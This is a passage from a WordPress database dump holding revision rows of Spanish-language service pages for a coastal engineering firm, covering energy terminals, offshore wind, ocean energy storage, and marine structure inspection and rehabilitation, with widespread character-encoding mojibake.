class=\"box_green-ports\"><img src=\"\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"4\">Almacenamiento de energÃa del ocÃ©ano</h1>\n   Moffatt & Nichol, en sociedad con General Compression y Scripps Institution of Oceanography, estÃ¡ desarrollando un sistema para el almacenamiento econÃ³mico de energÃa a escala de la red elÃ©ctrica.  La tecnologÃa de Almacenamiento de EnergÃa de Aire Comprimido del OcÃ©ano (OCAES, por sus siglas en inglÃ©s) utiliza la presiÃ³n de aguas profundas del ocÃ©ano para evitar la necesidad de un costoso recipiente de presiÃ³n.  Los receptores de aire, ventilados al agua de mar, se construyen de concreto y se colocan en el fondo del ocÃ©ano, a una profundidad entre 2.000 y 6.000 pies (600 y 1.800 m).  Una tuberÃa conecta el receptor de aire con los mÃ³dulos de expansiÃ³n/compresiÃ³n en tierra. Los mÃ³dulos propietarios de expansiÃ³n/compresiÃ³n desarrollados por General Compression representan un logro tecnolÃ³gico importante que tiene el potencial de revolucionar el almacenamiento de energÃa a escala de la red elÃ©ctrica.  GC estÃ¡ respaldada por Duke Energy, US Renewables Group, ConocoPhillips y otros inversionistas en esta innovadora tecnologÃa. El equipo de GC ha sido designado para obtener energÃa eÃ³lica y hacerla disponible.\n\nLos beneficios principales del sistema incluyen:\n\nâ€¢	Las estimaciones preliminares indican costos en la gama de $100/kwh, en comparaciÃ³n con las baterÃas que usualmente cuestan de cuatro a diez veces mÃ¡s â€¢	Puede proporcionar en forma econÃ³mica 100 horas o mÃ¡s de capacidad de almacenamiento â€¢	Puede aumentar el factor de carga para un parque eÃ³lico tÃpico desde 35% hasta mÃ¡s de 90%, de forma muy econÃ³mica â€¢	La eficiencia total es de 75-80% â€¢	Capacidad de arranque en negro â€¢	Arranque muy rÃ¡pido, con la capacidad de cambiar rÃ¡pidamente entre expansiÃ³n y compresiÃ³n, prÃ¡cticamente eliminando la necesidad de â€œenergÃa de reserva de respuesta rÃ¡pidaâ€ â€¢	Larga vida Ãºtil con mantenimiento mÃnimo\n\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n   <div class=\"border\"></div>\n      <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/alternative-energy.jpg\" /></div>\n    </div>\n  <div class=\"ports-harbours-right\">\n      <h1 id=\"5\">energÃa alternativa</h1>\nMoffatt & Nichol ofrece a sus clientes una capacidad especial en el Ã¡rea de soluciones de energÃa alternativa, con prÃ¡cticas esenciales que reflejan la relaciÃ³n entre el medioambiente y las fuentes de energÃa innovadora. En el Ã¡rea de la hidrocinÃ©tica, aplicamos nuestros conocimientos y experiencia profesional en ingenierÃa costera y en diseÃ±o de cuerpos de flotaciÃ³n a las singulares ubicaciones y a los requisitos mecÃ¡nicos de los sistemas a fin de capturar la energÃa latente en las olas, corrientes y fuerzas de mareas. De forma similar, los novedosos mÃ©todos de almacenamiento de energÃa aportan un mayor equilibrio entre la oferta y la demanda. Moffatt & Nichol proporciona apoyo de ingenierÃa costera, civil y estructural para sistemas de almacenamiento de energÃa en recipientes de contenciÃ³n submarina, haciendo disponible la energÃa en la red elÃ©ctrica cuando es necesaria. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n    </div>\n   <div class=\"border\"></div> \n   <div class=\"global-services_two\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/power.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"6\">apoyo en proyectos de generaciÃ³n de energÃa</h1>\n     Las instalaciones de generaciÃ³n de energÃa convencional usualmente requieren gran infraestructura de ingenierÃa civil, tal como el mejoramiento del terreno, el desarrollo del lugar y una amplia infraestructura de transporte. Moffatt & Nichol proporciona el planeamiento, el diseÃ±o y la gestiÃ³n de la construcciÃ³n para proyectos de instalaciones de generaciÃ³n de energÃa, incluyendo el apoyo para la gestiÃ³n de autorizaciones, apoyo en la construcciÃ³n civil/estructural, planeamiento y gestiÃ³n de la construcciÃ³n y estudios del impacto sobre el medioambiente. La firma tambiÃ©n proporciona servicios muy especializados en el anÃ¡lisis y diseÃ±o de estructuras de centrales de energÃa nuclear a fin de determinar la actual integridad estructural de las instalaciones de contenciÃ³n de concreto y de acero del reactor y predecir la futura. \n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\n    </div>\n  </div>\n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>		','Servicios de energÃa','','inherit','open','open','','537-revision','','','2011-11-11 14:20:17','2011-11-11 14:20:17','',537,'http://moffattnichol.com/spanish/537-revision/',0,'revision','',0),(2502,1,'2012-06-15 08:34:29','2012-06-15 08:34:29','<div class=\"content_faq\">\r\n  <h3>servicios de energía</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/liquid-bulk.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">terminales de carga líquida a granel </h1>\r\n     Las instalaciones de terminales marítimas de carga líquida a granel tienen requisitos especiales. Moffatt & Nichol proporciona una gama completa de servicios de planeamiento, diseño y gestión de la construcción para una variedad de sistemas de carga de graneles líquidos, incluyendo terminales marítimas petroleras grandes y pequeñas, instalaciones de descarga de gas licuado de petróleo (GLP), sistemas de amarre de buque tanques de boya múltiple y de amarres de un solo punto costa afuera. Nuestras capacidades de ingeniería comprenden desde el diseño marítimo, civil y estructural hasta sistemas de carga y descarga y sistemas de protección contra incendios, diseño medioambiental, de dragado y de protección costera para instalaciones de carga líquida a granel en todo el mundo. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/lng-terminal.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">Terminales de GNL</h1>\r\n     Durante dÃ©cadas, Moffatt & Nichol ha sido un consultor lÃder en la industria que abordaba las necesidades especÃficas de las terminales marÃtimas costa afuera y cercanas a la costa para la industria del petrÃ³leo y el gas. La firma ofrece una gama completa de servicios de consultorÃa de ingenierÃa para el diseÃ±o y la gestiÃ³n de la construcciÃ³n para instalaciones de gas natural licuado (GNL). Nuestros ingenieros y cientÃficos han participado en casi todos los aspectos del planeamiento y la ingenierÃa de instalaciones de GNL, desde la etapa previa al estudio FEED y la ingenierÃa FEED hasta el anÃ¡lisis de trÃ¡fico de buques, el dragado y el diseÃ±o estructural. Hemos proporcionado estos servicios en mÃ¡s de veinte importantes proyectos de GNL en Asia, Ãfrica, CanadÃ¡, MÃ©xico y los Estados Unidos, en algunos de los ambientes marinos mÃ¡s difÃciles del mundo. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/wind-power.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">EnergÃa eÃ³lica costa afuera</h1>\r\n   Moffatt & Nichol estÃ¡ posicionado en forma singular para ayudar a sus clientes a afrontar los desafÃos de proyectos de desarrollo de energÃa eÃ³lica, tanto en tierra como costa afuera. Combinamos nuestra experiencia profesional en ingenierÃa costera, ingenierÃa estructural y cimentaciones, planeamiento de construcciÃ³n marÃtima y desarrollo de instalaciones marÃtimas, con nuestros servicios de evaluaciÃ³n econÃ³mica y financieros para ayudar a nuestros clientes a entregar estos proyectos. La industria de la energÃa eÃ³lica debe enfrentar varios desafÃos para desarrollar cÃ³digos y estÃ¡ndares de diseÃ±o que reflejen las condiciones extremas de oleaje y tormentas presentes en muchos lugares de proyectos costa afuera en todo el mundo. Moffatt & Nichol, un lÃder reconocido internacionalmente en ingenierÃa costera y marÃtima/de costa afuera, ayuda a sus clientes a definir y aplicar los criterios de diseÃ±o que producirÃ¡n instalaciones duraderas y operacionalmente confiables. Aportamos nuestra comprobada experiencia profesional interna en una gama completamente integrada de servicios, desde estudios de factibilidad y selecciÃ³n del lugar, hasta el diseÃ±o, planeamiento de la construcciÃ³n y apoyo en las operaciones. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n     <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">Almacenamiento de energÃa del ocÃ©ano</h1>\r\n   Moffatt & Nichol, en sociedad con General Compression y Scripps Institution of Oceanography, estÃ¡ desarrollando un sistema para el almacenamiento econÃ³mico de energÃa a escala de la red elÃ©ctrica.  La tecnologÃa de Almacenamiento de EnergÃa de Aire Comprimido del OcÃ©ano (OCAES, por sus siglas en inglÃ©s) utiliza la presiÃ³n de aguas profundas del ocÃ©ano para evitar la necesidad de un costoso recipiente de presiÃ³n.  Los receptores de aire, ventilados al agua de mar, se construyen de concreto y se colocan en el fondo del ocÃ©ano, a una profundidad entre 2.000 y 6.000 pies (600 y 1.800 m).  Una tuberÃa conecta el receptor de aire con los mÃ³dulos de expansiÃ³n/compresiÃ³n en tierra. Los mÃ³dulos propietarios de expansiÃ³n/compresiÃ³n desarrollados por General Compression representan un logro tecnolÃ³gico importante que tiene el potencial de revolucionar el almacenamiento de energÃa a escala de la red elÃ©ctrica.  GC estÃ¡ respaldada por Duke Energy, US Renewables Group, ConocoPhillips y otros inversionistas en esta innovadora tecnologÃa. El equipo de GC ha sido designado para obtener energÃa eÃ³lica y hacerla disponible.\r\n\r\nLos beneficios principales del sistema incluyen:\r\n\r\nâ€¢	Las estimaciones preliminares indican costos en la gama de $100/kwh, en comparaciÃ³n con las baterÃas que usualmente cuestan de cuatro a diez veces mÃ¡s â€¢	Puede proporcionar en forma econÃ³mica 100 horas o mÃ¡s de capacidad de almacenamiento â€¢	Puede aumentar el factor de carga para un parque eÃ³lico tÃpico desde 35% hasta mÃ¡s de 90%, de forma muy econÃ³mica â€¢	La eficiencia total es de 75-80% â€¢	Capacidad de arranque en negro â€¢	Arranque muy rÃ¡pido, con la capacidad de cambiar rÃ¡pidamente entre expansiÃ³n y compresiÃ³n, prÃ¡cticamente eliminando la necesidad de â€œenergÃa de reserva de respuesta rÃ¡pidaâ€ â€¢	Larga vida Ãºtil con mantenimiento mÃnimo\r\n\r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n      <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/alternative-energy.jpg\" /></div>\r\n    </div>\r\n  <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">energÃa alternativa</h1>\r\nMoffatt & Nichol ofrece a sus clientes una capacidad especial en el Ã¡rea de soluciones de energÃa alternativa, con prÃ¡cticas esenciales que reflejan la relaciÃ³n entre el medioambiente y las fuentes de energÃa innovadora. En el Ã¡rea de la hidrocinÃ©tica, aplicamos nuestros conocimientos y experiencia profesional en ingenierÃa costera y en diseÃ±o de cuerpos de flotaciÃ³n a las singulares ubicaciones y a los requisitos mecÃ¡nicos de los sistemas a fin de capturar la energÃa latente en las olas, corrientes y fuerzas de mareas. De forma similar, los novedosos mÃ©todos de almacenamiento de energÃa aportan un mayor equilibrio entre la oferta y la demanda. Moffatt & Nichol proporciona apoyo de ingenierÃa costera, civil y estructural para sistemas de almacenamiento de energÃa en recipientes de contenciÃ³n submarina, haciendo disponible la energÃa en la red elÃ©ctrica cuando es necesaria. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n    </div>\r\n   <div class=\"border\"></div> \r\n   <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/energy/power.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"6\">apoyo en proyectos de generaciÃ³n de energÃa</h1>\r\n     Las instalaciones de generaciÃ³n de energÃa convencional usualmente requieren gran infraestructura de ingenierÃa civil, tal como el mejoramiento del terreno, el desarrollo del lugar y una amplia infraestructura de transporte. Moffatt & Nichol proporciona el planeamiento, el diseÃ±o y la gestiÃ³n de la construcciÃ³n para proyectos de instalaciones de generaciÃ³n de energÃa, incluyendo el apoyo para la gestiÃ³n de autorizaciones, apoyo en la construcciÃ³n civil/estructural, planeamiento y gestiÃ³n de la construcciÃ³n y estudios del impacto sobre el medioambiente. La firma tambiÃ©n proporciona servicios muy especializados en el anÃ¡lisis y diseÃ±o de estructuras de centrales de energÃa nuclear a fin de determinar la actual integridad estructural de las instalaciones de contenciÃ³n de concreto y de acero del reactor y predecir la futura. \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>		','Servicios de energía','','inherit','open','open','','537-revision-2','','','2012-06-15 08:34:29','2012-06-15 08:34:29','',537,'http://moffattnichol.com/spanish/537-revision-2/',0,'revision','',0),(2503,1,'2012-06-15 08:48:40','2012-06-15 08:48:40','<div class=\"content_faq\">\n       [anything_slides cat=inspection-and-rehabilitation width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\n       <div class=\"ports-left\">\n            <h3>inspección y rehabilitación</h3> Con años de experiencia a la vanguardia del diseño de rehabilitación de frentes costeros, Moffatt & Nichol ha desarrollado una minuciosa comprensión de los problemas históricos y de las técnicas de reparación ineficaces que son frecuentes en los proyectos de frentes costeros. Como una de las pocas firmas que se especializan tanto en la inspección submarina como en el diseño de ingeniería para estructuras de frentes costeros, Moffatt & Nichol mantiene un equipo de más de 40 ingenieros-buzos internos y con entrenamiento comercial, que proporcionan inspecciones submarinas y de la superestructura en forma rutinaria y regular. Estos ingenieros-buzos proporcionan una valiosa comprensión del funcionamiento y comportamiento de las estructuras de frentes costeros. Por lo tanto, no producimos planes de reparación a ciegas que consisten en parchar costras, rellenar grietas y revestir pilotes. Una reparación eficaz va más allá de estos elementos básicos y requiere de experiencia profesional en este campo especializado.  Además, Moffatt & Nichol ofrece ingeniería de vida de servicio, modelación de durabilidad y capacidades de modelación de elementos finitos para proporcionar un importante valor agregado a los proyectos.\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/inspection-and-rehabilitation-services/\">Examinar los servicios de inspección y rehabilitación >></a></div>\n</div>\n <div class=\"brochure-wrapper-ports\">\n            <h3>publicaciones relevantes</h3>\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-2.jpg\" /></div>\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\n                <strong class=\"green-new\">Calificación de la inspección y rehabilitación</strong><br />\n                Moffatt & Nichol, expertos con reconocimiento internacional en ingeniería estructural de frentes costeros y diseño marítimo, proporciona a sus clientes servicios de ingeniería  </div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION AND REHABILITATION QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-1.jpg\" /></div>\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">Folleto de inspección y rehabilitación</strong><br />\n                Moffatt & Nichol, expertos con reconocimiento internacional en ingenierÃa y diseÃ±o estructural de frentes costeros, proporciona a sus clientes servicios de ingenierÃa orientados hacia la prolongaciÃ³n de la vida de servicio.</div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION REHAB.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\n        </div>\n         </div>        \n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>             ','Inspección y rehabilitación','','inherit','open','open','','62-autosave','','','2012-06-15 08:48:40','2012-06-15 08:48:40','',62,'http://moffattnichol.com/spanish/62-autosave/',0,'revision','',0),(2504,1,'2012-05-17 13:08:42','2012-05-17 13:08:42','<div class=\"content_faq\">\r\n       [anything_slides cat=inspection-and-rehabilitation width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n       <div class=\"ports-left\">\r\n            <h3>inspecciÃ³n y rehabilitaciÃ³n</h3> Con aÃ±os de experiencia a la vanguardia del diseÃ±o de rehabilitaciÃ³n de frentes costeros, Moffatt & Nichol ha desarrollado una minuciosa comprensiÃ³n de los problemas histÃ³ricos y de las tÃ©cnicas de reparaciÃ³n ineficaces que son frecuentes en los proyectos de frentes costeros. Como una de las pocas firmas que se especializan tanto en la inspecciÃ³n submarina como en el diseÃ±o de ingenierÃa para estructuras de frentes costeros, Moffatt & Nichol mantiene un equipo de mÃ¡s de 40 ingenieros-buzos internos y con entrenamiento comercial, que proporcionan inspecciones submarinas y de la superestructura en forma rutinaria y regular. Estos ingenieros-buzos proporcionan una valiosa comprensiÃ³n del funcionamiento y comportamiento de las estructuras de frentes costeros. Por lo tanto, no producimos planes de reparaciÃ³n a ciegas que consisten en parchar costras, rellenar grietas y revestir pilotes. Una reparaciÃ³n eficaz va mÃ¡s allÃ¡ de estos elementos bÃ¡sicos y requiere de experiencia profesional en este campo especializado.  AdemÃ¡s, Moffatt & Nichol ofrece ingenierÃa de vida de servicio, modelaciÃ³n de durabilidad y capacidades de modelaciÃ³n de elementos finitos para proporcionar un importante valor agregado a los proyectos.\r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/inspection-rehabilitation/inspection-and-rehabilitation-services/\">Examinar los servicios de inspecciÃ³n y rehabilitaciÃ³n >></a></div>\r\n</div>\r\n <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-2.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CalificaciÃ³n de la inspecciÃ³n y rehabilitaciÃ³n</strong><br />\r\n                Moffatt & Nichol, expertos con reconocimiento internacional en ingenierÃa estructural de frentes costeros y diseÃ±o marÃtimo, proporciona a sus clientes servicios de ingenierÃa </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION AND REHABILITATION QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/inspection-1.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">Folleto de inspecciÃ³n y rehabilitaciÃ³n</strong><br />\r\n                Moffatt & Nichol, expertos con reconocimiento internacional en ingenierÃa y diseÃ±o estructural de frentes costeros, proporciona a sus clientes servicios de ingenierÃa orientados hacia la prolongaciÃ³n de la vida de servicio.</div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/inspection-and-rehabilitation-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/INSPECTION REHAB.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n        </div>\r\n         </div>        \r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>             ','InspecciÃ³n y rehabilitaciÃ³n','','inherit','open','open','','62-revision-2','','','2012-05-17 13:08:42','2012-05-17 13:08:42','',62,'http://moffattnichol.com/spanish/62-revision-2/',0,'revision','',0),(2505,1,'2012-06-15 08:57:03','2012-06-15 08:57:03','<div class=\"content_faq\">\r\n<h3>servicios de inspección y rehabilitación</h3>\r\n  <div class=\"global-services_one\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/above-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"1\">inspecciones por encima del nivel de agua</h1>\r\n     La inspección de las estructuras de ingeniería por encima del nivel de agua requiere un enfoque de ingeniería analítico y metódico. El personal de Moffatt & Nichol es muy experimentado en la evaluación de todos los tipos de estructura en una gran variedad de ambientes y ubicaciones. Ya sea que la tarea sea simple y fácil de realizar, o que requiera un complicado régimen de muestreo y prueba de materiales, la firma tiene el personal experimentado para ofrecer el enfoque analítico apropiado al proyecto. No es poco común que la inspección de estas estructuras necesite un método seguro y bien estudiado para lugares de difícil acceso, como por ejemplo debajo de las estructuras de muelles y puentes, inspección en la calzada y otras ubicaciones de complicado acceso.\r\n     \r\n     Los servicios incluyen el análisis de daños al concreto relacionados con la corrosión; la inspección de muelles, dársenas y puentes por encima y por debajo de la cubierta; el muestreo y prueba de materiales; la excavación y prueba de estructuras enterradas; la inspección de equipos mecánicos y eléctricos de servicios públicos, y la inspección de los sistemas de protección catódica.\r\n      \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n  <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/below-water.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"2\">inspecciones por debajo del nivel de agua</h1>\r\n      Las inspecciones de ingeniería estructural por debajo del nivel del agua se realizan con un doble énfasis: operaciones de buceo seguras y asignación de ingenieros estructurales experimentados en el ambiente marítimo. Moffatt & Nichol mantiene un equipo de más de 40 ingenieros buzos estratégicamente ubicados, listos para responder a tareas de inspección por debajo del nivel de agua en los EE.UU. e internacionalmente.\r\n      \r\n      El personal de la firma realiza operaciones de buceo con una cuidadosa evaluación de los requisitos de seguridad, medioambientales y de la tarea en una gran variedad de condiciones climáticas, por encima y por debajo del nivel de agua, incluyendo situaciones de visibilidad limitada (agua turbia), corrientes, ambientes confinados y agua extremadamente fría. Moffatt & Nichol mantiene barcos de buceo y embarcaciones de apoyo estratégicamente localizados para permitir que el personal pueda acceder a la mayoría de instalaciones operacionales.\r\n      \r\n      Los trabajos de inspección por debajo del nivel de agua se realizan generalmente usando el Manual 101 de Prácticas estándar de la Sociedad de ingenieros civiles de EE.UU., “Investigaciones submarinas”. Tres directores de Moffatt & Nichol han contribuido como autores al desarrollo de este documento. Los ingenieros buzos de Moffatt & Nichol realizan inspecciones rutinarias de muelles y dársenas, malecones y muros de retención, diques secos; sistemas y arreglos de cables; estructuras de roca (escolleras y rompeolas), puertos deportivos, informes sobre residuos, inspecciones de construcción, desembocaduras e instalaciones misceláneas.  \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/constructionservices.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"3\">servicios de la fase de construcción</h1>\r\n      La metodología de reparación que se desarrolla después del proceso de inspección implica la aplicación de procesos únicos en lugares y ambientes adversos. Este trabajo generalmente está asociado a construcciones por encima y por debajo del agua, con frecuencia, como respuesta a fluctuaciones de la marea y a las condiciones atmosféricas. El mismo personal que es responsable de la inspección, evaluación y diseño de las reparaciones, supervisa el proceso de rehabilitación. Los ingenieros buzos de Moffatt & Nichol supervisan periódicamente el avance y la calidad de los trabajos del contratista en campo para verificar que la obra está de acuerdo con los planos y especificaciones, eliminando la incertidumbre del proceso de construcción. Se realizan esfuerzos para garantizar el uso económico de los materiales de precio unitario y la protección del medioambiente, dando por resultado reparaciones eficaces diseñadas para prolongar la vida de servicio de la estructura.\r\n       \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/materials_sampling.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"4\">muestreo y prueba de materiales</h1>\r\n     El efecto del ambiente marino en el material estructural puede ser severo e implacable. La vida de servicio y la capacidad estructural de los elementos compuestos de concreto reforzado, acero estructural, madera y compuestos, son afectadas por una inspección limitada y por la carencia de mantenimiento preventivo. Los ingenieros de Moffatt & Nichol están muy capacitados en el muestreo, prueba y evaluación de materiales por encima y por debajo del nivel de agua. Este conjunto de capacidades de Inspección y rehabilitación (I&R), junto con la experiencia profesional en ingeniería estructural, permite la evaluación y diagnóstico de la degradación del material y produce novedosos planes de rehabilitación dirigidos a mantener o aumentar la capacidad de carga, a prolongar la vida de servicio, y a obtener un retorno sobre la inversión.  \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n   <div class=\"border\"></div>\r\n  <div class=\"global-services_two\">\r\n    <div class=\"ports_left\">\r\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/service_life.jpg\" /></div>\r\n    </div>\r\n    <div class=\"ports-harbours-right\">\r\n      <h1 id=\"5\">modelación de la vida de servicio</h1>\r\n     Como parte de la preparación de las recomendaciones para las medidas correctivas para las estructuras de concreto dañadas, debe identificarse la vida útil restante de una estructura como una base para proporcionar una asesoraría orientada al control de costos. Para determinar este período de tiempo, la modelación de la vida de servicio es una herramienta potente, rentable e innovadora para determinar la conveniencia de la rehabilitación de la estructura existente y para evaluar las técnicas de prolongación de la vida útil de las estructuras nuevas o reparadas. Para dicha modelación, Moffatt & Nichol utiliza el software STADIUM® para estimar la vida de servicio restante tanto para la condición existente como para las varias estrategias alternativas de reparación o protección. Esta tecnología fue utilizada como base para la reciente especificación de la guía de concreto marino de la Marina de EE.UU.  \r\n      <div class=\"followus\"><a href=\"#top\" title=\"Volver al principio \">Volver al principio ^</a></div>\r\n    </div>\r\n  </div>\r\n \r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Servicios de inspección y rehabilitación','','inherit','open','open','','544-autosave','','','2012-06-15 08:57:03','2012-06-15 08:57:03','',544,'http://moffattnichol.com/spanish/544-autosave/',0,'revision','',0),(2506,1,'2011-11-11 14:30:27','2011-11-11 14:30:27','<div class=\"content_faq\">\n  <h3>servicios de inspecciÃ³n y rehabilitaciÃ³n</h3>\n  <div class=\"global-services_one\">\n    <div class=\"ports_left\">\n      <div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/inspection/above-water.jpg\" /></div>\n    </div>\n    <div class=\"ports-harbours-right\">\n      <h1 id=\"1\">inspecciones por encima del nivel de agua</h1>\n     La inspecciÃ³n de las estructuras de ingenierÃa por encima del nivel de agua requiere un enfoque de ingenierÃa analÃtico y metÃ³dico. El personal de Moffatt & Nichol es muy experimentado en la evaluaciÃ³n de todos los tipos de estructura en una gran variedad de ambientes y ubicaciones. Ya sea que la tarea sea simple y fÃ¡cil de realizar, o que requiera un complicado 